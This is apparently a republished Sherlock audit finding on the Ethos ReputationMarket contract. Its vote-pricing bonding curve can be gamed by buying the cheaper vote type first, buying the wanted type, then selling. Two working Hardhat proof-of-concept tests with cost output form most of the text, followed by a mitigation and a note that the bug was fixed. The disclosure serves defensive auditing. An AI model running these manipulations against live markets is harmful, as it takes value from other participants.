Bonding curve logic can be exploited to pay less for buying votes
The bonding curve pricing formula for votes can be manipulated by buying the cheaper vote type first to shift the ratio, then buying the desired vote type at a lower cost, and finally selling the cheaper votes for a net gain. An attacker could pay significantly less for votes, as demonstrated by two proof-of-concept examples.
Al-Qa-qa Follow with LeFy, MohammadX2049 and 8 others
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2024-11-ethos-network-ii-judging/issues/167
Found by
Al-Qa-qa, LeFy, MohammadX2049, X12, ami, bughuntoor, future2_22, newspacexyz, t0x1c, tobi0x18, zxriptor
Description & Impact
The _calcVotePrice() function uses the following bonding curve formula:
File: ethos/packages/contracts/contracts/ReputationMarket.sol
912: /**
913: * @notice Calculates the buy or sell price for votes based on market state
914:@---> * @dev Uses bonding curve formula: price = (votes * basePrice) / totalVotes
915: * Markets are double sided, so the price of trust and distrust votes always sum to the base price
916: * @param market The market state to calculate price for
917: * @param isPositive Whether to calculate trust (true) or distrust (false) vote price
918: * @return The calculated vote price
919: */
920: function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) {
921: uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST];
922: return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes;
923: }
This can be manipulated in the following ways:
Example1: ( coded in PoC1 )
-
Normal Scenario:
- For a default market config, Alice decides to buy some trust votes.
- She calls
buyVotes()with0.1 ETHof funds. - This fetches her 12 trust votes and costs exactly
0.098439322450225045 ETH.
-
Attack Scenario:
- For a default market config, Alice decides to buy 12 trust votes.
- She decides to alternate her
buyVotes()call between 1 trust vote and 1 distrust vote. - She repeats this 12 times.
- She sells all her distrust votes at the end.
- She ends up paying
0.079440616542537061 ETH, which is≈ 0.02 ETHlesser than the normal scenario. <br>
In fact in general, if Alice wishes to buy a higher-priced vote then it works in her favour to buy the lower-priced one first to make the vote ratio 1:1. At the end, this lower-priced purchase can be sold off for a net gain.
Example2: ( coded in PoC2 )
-
Normal Scenario:
- For a default market config, Bob is sitting with 99 trust votes he bought a few moments ago.
- Alice wants to buy 100 trust votes. She calls
buyVotes()with1 ETHof funds. - This fetches her 100 trust votes and costs exactly
0.993452851893538135 ETH.
-
Attack Scenario:
- For a default market config, Bob is sitting with 99 trust votes he bought a few moments ago.
- Alice wants to buy 100 trust votes.
- She first buys 99 distrust votes.
- She now buys the 100 trust votes.
- She then sells all her distrust votes.
- She ends up paying
0.711616420426520863 ETH, which is≈ 0.28 ETHlesser than the normal scenario.
Proof of Concept
<details> <summary> PoC1 </summary>Add this file as rep.bondingCurveManipulation.test.ts inside the ethos/packages/contracts/test/reputationMarket/ directory and run with npm run hardhat -- test --grep "BuyVotes Cost Manipulation" to see the output:
import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js';
import { expect } from 'chai';
import hre from 'hardhat';
import { type ReputationMarket } from '../../typechain-types/index.js';
import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js';
import { type EthosUser } from '../utils/ethosUser.js';
import { DEFAULT, MarketUser } from './utils.js';
const { ethers } = hre;
describe('BuyVotes Cost Manipulation', () => {
let deployer: EthosDeployer;
let ethosUserA: EthosUser;
let alice: MarketUser;
let reputationMarket: ReputationMarket;
let market: ReputationMarket.MarketInfoStructOutput;
beforeEach(async () => {
deployer = await loadFixture(createDeployer);
if (!deployer.reputationMarket.contract) {
throw new Error('ReputationMarket contract not found');
}
ethosUserA = await deployer.createUser();
await ethosUserA.setBalance('100');
alice = new MarketUser(ethosUserA.signer);
reputationMarket = deployer.reputationMarket.contract;
DEFAULT.reputationMarket = reputationMarket;
DEFAULT.profileId = ethosUserA.profileId;
await reputationMarket
.connect(deployer.ADMIN)
.setUserAllowedToCreateMarket(DEFAULT.profileId, true);
await reputationMarket.connect(alice.signer).createMarket({ value: ethers.parseEther('0.02') });
market = await reputationMarket.getMarket(DEFAULT.profileId);
expect(market.profileId).to.equal(DEFAULT.profileId);
expect(market.trustVotes).to.equal(1);
expect(market.distrustVotes).to.equal(1);
});
it('Normal Buy', async () => {
// Record initial state
const initialMarket = await reputationMarket.getMarket(ethosUserA.profileId);
expect(initialMarket.trustVotes).to.equal(1n);
expect(initialMarket.distrustVotes).to.equal(1n);
// Record Alice's balance initially
const aliceBalanceBefore = await ethosUserA.getBalance();
// Alice buys trust votes
const aliceInvestment = ethers.parseEther('0.1');
await alice.buyVotes({
buyAmount: aliceInvestment,
expectedVotes: 12n, // We know this from simulation
slippageBasisPoints: 0 // 0% slippage allowed
});
// Verify Alice's position
const alicePosition = await alice.getVotes();
console.log("\n");
console.log("votes position (TRUST) =", alicePosition.trustVotes);
expect(alicePosition.trustVotes).to.equal(12n);
expect(alicePosition.distrustVotes).to.equal(0n);
// Record Alice's balance now
const aliceBalanceAfter = await ethosUserA.getBalance();
// Log the total cost to Alice
console.log('Cost1:', ethers.formatEther(aliceBalanceBefore - aliceBalanceAfter), 'ETH');
});
it('Malicious Buy', async () => {
// Record initial state
const initialMarket = await reputationMarket.getMarket(ethosUserA.profileId);
expect(initialMarket.trustVotes).to.equal(1n);
expect(initialMarket.distrustVotes).to.equal(1n);
// Record Alice's balance initially
const aliceBalanceBefore = await ethosUserA.getBalance();
const bP = ethers.parseEther('0.01');
let tV = 1n;
let dV = 1n;
let aliceInvestment;
for(let i = 0; i < 12; i++) {
// Alice buys trust votes
aliceInvestment = (tV * bP) / (tV + dV);
await alice.buyVotes({
isPositive: true, // trust votes
buyAmount: aliceInvestment,
expectedVotes: 1n, // We know this from simulation
slippageBasisPoints: 0 // 0% slippage allowed
});
expect((await alice.getVotes()).trustVotes).to.equal(tV);
tV++;
if (i == 11) continue; // no need to manipulate further, 12 trust votes have been bought
// Alice buys distrust votes
aliceInvestment = (dV * bP) / (tV + dV);
await alice.buyVotes({
isPositive: false, // distrust votes
buyAmount: aliceInvestment,
expectedVotes: 1n,
slippageBasisPoints: 0
});
expect((await alice.getVotes()).distrustVotes).to.equal(dV);
dV++;
}
// Verify Alice's position
const alicePosition = await alice.getVotes();
console.log("\n\n");
console.log("votes position (TRUST) =", alicePosition.trustVotes);
// Alice sells all her distrust votes
await reputationMarket
.connect(alice.signer)
.sellVotes(DEFAULT.profileId, false, alicePosition.distrustVotes);
expect((await alice.getVotes()).distrustVotes).to.equal(0);
// Record Alice's balance now
const aliceBalanceAfter = await ethosUserA.getBalance();
// Log the total cost to Alice
console.log('Cost2:', ethers.formatEther(aliceBalanceBefore - aliceBalanceAfter), 'ETH');
});
});
Output:
BuyVotes Cost Manipulation
votes position (TRUST) = 12n
Cost1: 0.098439322450225045 ETH
✔ Normal Buy
votes position (TRUST) = 12n
Cost2: 0.079440616542537061 ETH
✔ Malicious Buy (1125ms)
2 passing (5s)
Add this file as rep.bondingCurveManipulated.test.ts inside the ethos/packages/contracts/test/reputationMarket/ directory and run with npm run hardhat -- test --grep "t0x1c Buy n Sell" to see the output:
import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js';
import { expect } from 'chai';
import hre from 'hardhat';
import { type ReputationMarket } from '../../typechain-types/index.js';
import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js';
import { type EthosUser } from '../utils/ethosUser.js';
import { DEFAULT, MarketUser } from './utils.js';
const { ethers } = hre;
describe('t0x1c Buy n Sell', () => {
let deployer: EthosDeployer;
let ethosUserA: EthosUser;
let ethosUserB: EthosUser;
let alice: MarketUser;
let bob: MarketUser;
let reputationMarket: ReputationMarket;
let market: ReputationMarket.MarketInfoStructOutput;
beforeEach(async () => {
deployer = await loadFixture(createDeployer);
if (!deployer.reputationMarket.contract) {
throw new Error('ReputationMarket contract not found');
}
ethosUserA = await deployer.createUser();
await ethosUserA.setBalance('100');
ethosUserB = await deployer.createUser();
await ethosUserB.setBalance('100');
alice = new MarketUser(ethosUserA.signer);
bob = new MarketUser(ethosUserB.signer);
reputationMarket = deployer.reputationMarket.contract;
DEFAULT.reputationMarket = reputationMarket;
DEFAULT.profileId = ethosUserA.profileId;
await reputationMarket
.connect(deployer.ADMIN)
.setUserAllowedToCreateMarket(DEFAULT.profileId, true);
await reputationMarket.connect(alice.signer).createMarket({ value: ethers.parseEther('0.02') });
market = await reputationMarket.getMarket(DEFAULT.profileId);
expect(market.profileId).to.equal(DEFAULT.profileId);
expect(market.trustVotes).to.equal(1);
expect(market.distrustVotes).to.equal(1);
});
it('Buy and Sell - normal', async () => {
// Record initial state
const initialMarket = await reputationMarket.getMarket(ethosUserA.profileId);
expect(initialMarket.trustVotes).to.equal(1n);
expect(initialMarket.distrustVotes).to.equal(1n);
// Bob buys 99 trust votes
await bob.buyVotes({
isPositive: true, // trust votes
buyAmount: ethers.parseEther('0.95'),
expectedVotes: 99n,
slippageBasisPoints: 0 // 0% slippage allowed
});
expect((await bob.getVotes()).trustVotes).to.equal(99);
const aliceBalanceBefore = await ethosUserA.getBalance();
// Alice buys 100 trust votes
await alice.buyVotes({
isPositive: true, // trust votes
buyAmount: ethers.parseEther('1.0'),
expectedVotes: 100n,
slippageBasisPoints: 0 // 0% slippage allowed
});
expect((await alice.getVotes()).trustVotes).to.equal(100);
const aliceBalanceAfter = await ethosUserA.getBalance();
// Log the total cost to Alice
console.log('\n\nCost_1:', ethers.formatEther(aliceBalanceBefore - aliceBalanceAfter), 'ETH');
});
it('Buy and Sell - malicious', async () => {
// Record initial state
const initialMarket = await reputationMarket.getMarket(ethosUserA.profileId);
expect(initialMarket.trustVotes).to.equal(1n);
expect(initialMarket.distrustVotes).to.equal(1n);
// Bob buys 99 trust votes
await bob.buyVotes({
isPositive: true, // trust votes
buyAmount: ethers.parseEther('0.95'),
expectedVotes: 99n,
slippageBasisPoints: 0 // 0% slippage allowed
});
expect((await bob.getVotes()).trustVotes).to.equal(99);
const aliceBalanceBefore = await ethosUserA.getBalance();
// Alice first buys 99 distrust votes
await alice.buyVotes({
isPositive: false, // distrust votes
buyAmount: ethers.parseEther('0.305'),
expectedVotes: 99n,
slippageBasisPoints: 0 // 0% slippage allowed
});
expect((await alice.getVotes()).distrustVotes).to.equal(99);
// Alice then buys 100 trust votes
await alice.buyVotes({
isPositive: true, // trust votes
buyAmount: ethers.parseEther('0.595'),
expectedVotes: 100n,
slippageBasisPoints: 0 // 0% slippage allowed
});
expect((await alice.getVotes()).trustVotes).to.equal(100);
// Alice sells all her distrust votes
await reputationMarket
.connect(alice.signer)
.sellVotes(DEFAULT.profileId, false, (await alice.getVotes()).distrustVotes);
expect((await alice.getVotes()).distrustVotes).to.equal(0);
expect((await alice.getVotes()).trustVotes).to.equal(100);
// Record Alice's balance now
const aliceBalanceAfter = await ethosUserA.getBalance();
// Log the total cost to Alice
console.log('\n\nCost_2:', ethers.formatEther(aliceBalanceBefore - aliceBalanceAfter), 'ETH');
});
});
Output:
t0x1c Buy n Sell
Cost_1: 0.993452851893538135 ETH
✔ Buy and Sell - normal (87ms)
Cost_2: 0.711616420426520863 ETH
✔ Buy and Sell - malicious (279ms)
2 passing (5s)
Mitigation
It would be advisable to introduce a time delay between any consecutive calls to buy or sell votes by the same address. This would ensure price manipulation can't happen in the same block, thus mitigating the attack.
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/trust-ethos/ethos/pull/2214
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The bonding curve formula calculates price based solely on the current ratio of votes, allowing manipulation by altering that ratio before a large purchase.
Impact
An attacker could pay significantly less for votes, as shown by two examples where the cost was reduced by about 0.02 ETH and 0.28 ETH respectively.
What the attacker needed
A market with default config; ability to buy and sell votes; sufficient funds to execute trades
The fix
The protocol team fixed this issue in the following PRs/commits: https://github.com/trust-ethos/ethos/pull/2214
How it was found
- Alice buys 1 trust vote and 1 distrust vote alternately, repeating 12 times.
- She sells all her distrust votes at the end.
- She ends up paying less than if she had bought 12 trust votes directly.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A bonding curve is a pricing rule where the price of an item depends on how many have been bought. Here, the price of a 'trust' vote depends on the ratio of trust to distrust votes. By buying the cheaper type first, you change that ratio in your favour, making the desired type cheaper. Then you can sell the extra votes you bought, reducing your net cost.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.